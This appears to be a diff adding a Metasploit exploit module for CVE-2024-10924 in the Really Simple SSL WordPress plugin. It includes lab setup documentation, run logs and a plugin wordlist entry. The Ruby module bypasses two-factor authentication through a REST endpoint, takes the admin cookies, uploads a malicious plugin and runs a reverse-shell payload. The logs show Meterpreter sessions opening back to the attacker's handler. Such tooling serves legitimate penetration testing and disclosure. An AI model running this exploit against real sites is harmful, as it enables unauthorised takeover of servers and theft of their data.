WordPress Really Simple Security Plugin Authentication Bypass to RCE (CVE-2024-10924)

data/wordlists/wp-exploitable-plugins.txt

@@ -65,3 +65,4 @@ hash-form
 give
 ultimate-member
 wp-fastest-cache
+really-simple-ssl

documentation/modules/exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce.md

@@ -0,0 +1,169 @@
+## Vulnerable Application
+
+The vulnerability affects the **Really Simple SSL** plugin, version **9.1.1** and below, allowing an **authentication bypass** attack.
+This can be leveraged to bypass 2FA with specified `user_id` and gain full control of the WordPress instance.
+
+### Pre-requisites:
+- **Docker** and **Docker Compose** installed on your system.
+
+
+### Setup Instructions
+
+1. **Download the Docker Compose file**:
+   Below is the content of the **docker-compose.yml** file to set up WordPress with the vulnerable plugin and a MySQL database.
+
+```yaml
+version: '3.1'
+
+services:
+  wordpress:
+    image: wordpress:latest
+    restart: always
+    ports:
+      - 5555:80
+    environment:
+      WORDPRESS_DB_HOST: db
+      WORDPRESS_DB_USER: chocapikk
+      WORDPRESS_DB_PASSWORD: dummy_password
+      WORDPRESS_DB_NAME: exploit_market
+    mem_limit: 512m
+    volumes:
+      - wordpress:/var/www/html
+      - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini
+
+  db:
+    image: mysql:5.7
+    restart: always
+    environment:
+      MYSQL_DATABASE: exploit_market
+      MYSQL_USER: chocapikk
+      MYSQL_PASSWORD: dummy_password
+      MYSQL_RANDOM_ROOT_PASSWORD: '1'
+    volumes:
+      - db:/var/lib/mysql
+
+volumes:
+  wordpress:
+  db:
+```
+
+2. **Add custom PHP configuration**:
+    - Create a file named `custom.ini` in the same directory as `docker-compose.yml` with the following content:
+
+```ini
+upload_max_filesize = 64M
+post_max_size = 64M
+```
+
+3. **Start the Docker environment**:
+- In the directory where you saved the `docker-compose.yml` file, run the following command to start the services:
+
+```bash
+docker-compose up -d
+```
+
+4. **Install and activate the plugin**:
+- Download the vulnerable version of **Really Simple SSL**:
+```bash
+wget https://downloads.wordpress.org/plugin/really-simple-ssl.9.1.1.zip
+```
+- Extract the plugin:
+```bash
+unzip really-simple-ssl.9.1.1.zip
+```
+- Copy the plugin files to the WordPress container:
+```bash
+docker cp really-simple-ssl wordpress:/var/www/html/wp-content/plugins/
+```
+- Navigate to `http://localhost:5555/wp-admin` in your browser and activate the plugin in the WordPress admin panel.
+
+5. **Enable Two-Factor Authentication**:
+- Go to **Settings > Really Simple Security**.
+- Activate **Two-Factor Authentication**.
+
+
+## Verification Steps
+
+1. **Set up WordPress** with the vulnerable **Really Simple SSL** plugin.
+2. **Start Metasploit** using the command `msfconsole`.
+3. Use the correct module for the vulnerability:
+
+```bash
+use exploit/multi/http/wp_reallysimplessl_2fa_bypass_rce
+```
+
+4. Set the target's IP and URI:
+
+```bash
+set RHOSTS <target_ip>
+set TARGETURI /
+```
+
+5. **Run the module**:
+
+```bash
+run
+```
+
+6. **Verify the Authentication Bypass**:
+- After running the module, the payload will bypass Two-Factor Authentication and attempt to create a new administrator.
+
+## Options
+
+### USERID
+
+The user ID to target for 2FA bypass (default: 1)
+
+## Scenarios
+
+### Example 1: PHP Meterpreter (ARCH_PHP)
+
+```bash
+msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555
+
+[*] Started reverse TCP handler on 192.168.1.36:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] WordPress Version: 6.5.3
+[+] Detected vulnerable plugin slug: really-simple-ssl
+[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
+[*] 2FA bypass successful. Uploading plugin...
+[*] Executing the payload at /wp-content/plugins/wp_1ftvf/ajax_pottw.php...
+[*] Sending stage (40004 bytes) to 172.18.0.3
+[+] Deleted ajax_pottw.php
+[+] Deleted wp_1ftvf.php
+[+] Deleted ../wp_1ftvf
+[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.18.0.3:37730) at 2024-11-18 20:07:17 +0100
+
+meterpreter > sysinfo 
+Computer    : a8dddfbbb9e2
+OS          : Linux a8dddfbbb9e2 5.15.0-125-generic #135-Ubuntu SMP Fri Sep 27 13:53:58 UTC 2024 x86_64
+Meterpreter : php/linux
+meterpreter >
+```
+
+### Example 2: Linux Command Shell (ARCH_CMD)
+
+```bash
+msf6 exploit(multi/http/wp_reallysimplessl_2fa_bypass_rce) > run http://127.0.0.1:5555
+
+[*] Started reverse TCP handler on 192.168.1.36:4444 
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] WordPress Version: 6.5.3
+[+] Detected vulnerable plugin slug: really-simple-ssl
+[+] The target appears to be vulnerable. Plugin really-simple-ssl appears to be vulnerable.
+[*] 2FA bypass successful. Uploading plugin...
+[*] Executing the payload at /wp-content/plugins/wp_3wbfa/ajax_gjreh.php...
+[*] Sending stage (3045380 bytes) to 172.18.0.3
+[+] Deleted ajax_gjreh.php
+[+] Deleted wp_3wbfa.php
+[+] Deleted ../wp_3wbfa
+[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.18.0.3:50344) at 2024-11-18 20:12:00 +0100
+
+meterpreter > sysinfo 
+Computer     : 172.18.0.3
+OS           : Debian 11.8 (Linux 5.15.0-125-generic)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter > 
+```

modules/exploits/multi/http/wp_reallysimplessl_2fa_bypass_rce.rb

@@ -0,0 +1,174 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Payload::Php
+  include Msf::Exploit::FileDropper
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HTTP::Wordpress
+
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  class WordPressNotOnline < StandardError; end
+  class AdminCookieError < StandardError; end
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'WordPress Really Simple SSL Plugin Authentication Bypass to RCE',
+        'Description' => %q{
+          This module exploits an authentication bypass vulnerability in the WordPress Really Simple SSL plugin
+          (versions 9.0.0 to 9.1.1.1). The vulnerability allows bypassing two-factor authentication (2FA) and
+          uploading a plugin to achieve remote code execution (RCE). Note: For the system to be vulnerable,
+          2FA must be enabled on the target site; otherwise, the exploit will not work.
+        },
+        'Author' => [
+          'Valentin Lobstein', # Metasploit module
+          'István Márton'      # Vulnerability discovery
+        ],
+        'References' => [
+          ['CVE', '2024-10924'],
+          ['URL', 'https://github.com/RandomRobbieBF/CVE-2024-10924'],
+          ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/detail/really-simple-security-free-pro-and-pro-multisite-900-9111-authentication-bypass']
+        ],
+        'License' => MSF_LICENSE,
+        'Privileged' => false,
+        'Platform' => %w[unix linux win php],
+        'Arch' => [ARCH_PHP, ARCH_CMD],
+        'Targets' => [
+          [
+            'PHP In-Memory',
+            {
+              'Platform' => 'php',
+              'Arch' => ARCH_PHP
+              # tested with php/meterpreter/reverse_tcp
+            }
+          ],
+          [
+            'Unix In-Memory',
+            {
+              'Platform' => %w[unix linux],
+              'Arch' => ARCH_CMD
+              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
+            }
+          ],
+          [
+            'Windows In-Memory',
+            {
+              'Platform' => 'win',
+              'Arch' => ARCH_CMD
+            }
+          ]
+        ],
+        'DefaultTarget' => 0,
+        'DisclosureDate' => '2024-11-14',
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
+          'Reliability' => [REPEATABLE_SESSION]
+        }
+      )
+      )
+
+    register_options(
+      [
+        OptInt.new('USER_ID', [true, 'The user ID to target for 2FA bypass', 1])
+      ]
+    )
+  end
+
+  def check
+    return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?
+
+    print_status("WordPress Version: #{wordpress_version}") if wordpress_version
+
+    %w[really-simple-ssl really-simple-ssl-pro really-simple-ssl-pro-multisite].each do |slug|
+      case check_plugin_version_from_readme(slug, '9.1.2', '9.0.0').code
+      when 'appears'
+        print_good("Detected vulnerable plugin slug: #{slug}")
+        return CheckCode::Appears("Plugin #{slug} appears to be vulnerable.")
+      when 'safe'
+        print_status("Plugin #{slug} is patched or not vulnerable.")
+      when 'unknown'
+        print_status("Plugin #{slug} could not be verified or is not installed.")
+      end
+    end
+
+    CheckCode::Safe('None of the detected plugins are vulnerable.')
+  end
+
+  def exploit
+    admin_cookie = bypass_2fa
+    raise AdminCookieError, 'Failed to retrieve admin cookie' unless admin_cookie
+
+    print_status('2FA bypass successful. Uploading plugin...')
+    upload_and_execute_payload(admin_cookie)
+  rescue WordPressNotOnline => e
+    fail_with(Failure::Unreachable, "Target WordPress site is unreachable: #{e.message}")
+  rescue AdminCookieError => e
+    fail_with(Failure::UnexpectedReply, "Failed to bypass 2FA: #{e.message}")
+  rescue StandardError => e
+    fail_with(Failure::Unknown, "An unexpected error occurred: #{e.message}")
+  end
+
+  def bypass_2fa
+    user_id = datastore['USER_ID']
+    login_nonce = Rex::Text.rand_text_numeric(10)
+
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'wp-json', 'reallysimplessl', 'v1', 'two_fa', 'skip_onboarding'),
+      'ctype' => 'application/json',
+      'data' => {
+        'user_id' => user_id,
+        'login_nonce' => login_nonce,
+        'redirect_to' => '/wp-admin/'
+      }.to_json
+    })
+
+    raise WordPressNotOnline, 'No response from the target' unless res
+
+    case res.code
+    when 404
+      fail_with(Failure::NotVulnerable, 'Two-Factor Authentication (2FA) is not enabled or the plugin is misconfigured.')
+    when 200
+      return extract_cookies(res.get_cookies) if res.get_cookies
+    else
+      fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}.")
+    end
+
+    fail_with(Failure::UnexpectedReply, 'Failed to retrieve admin cookies.')
+  end
+
+  def extract_cookies(cookie_header)
+    match = cookie_header.match(/(wordpress(_logged_in)?_[a-f0-9]{32}=[^;]+)/)
+    return match[1] if match
+
+    nil
+  end
+
+  def upload_and_execute_payload(admin_cookie)
+    plugin_name = "wp_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
+    payload_name = "ajax_#{Rex::Text.rand_text_alphanumeric(5).downcase}"
+
+    payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
+    zip = generate_plugin(plugin_name, payload_name)
+
+    uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
+    fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin') unless uploaded
+
+    print_status("Executing the payload at #{payload_uri}...")
+
+    register_files_for_cleanup("#{payload_name}.php", "#{plugin_name}.php")
+    register_dir_for_cleanup("../#{plugin_name}")
+    send_request_cgi({
+      'uri' => payload_uri,
+      'method' => 'GET'
+    })
+  end
+end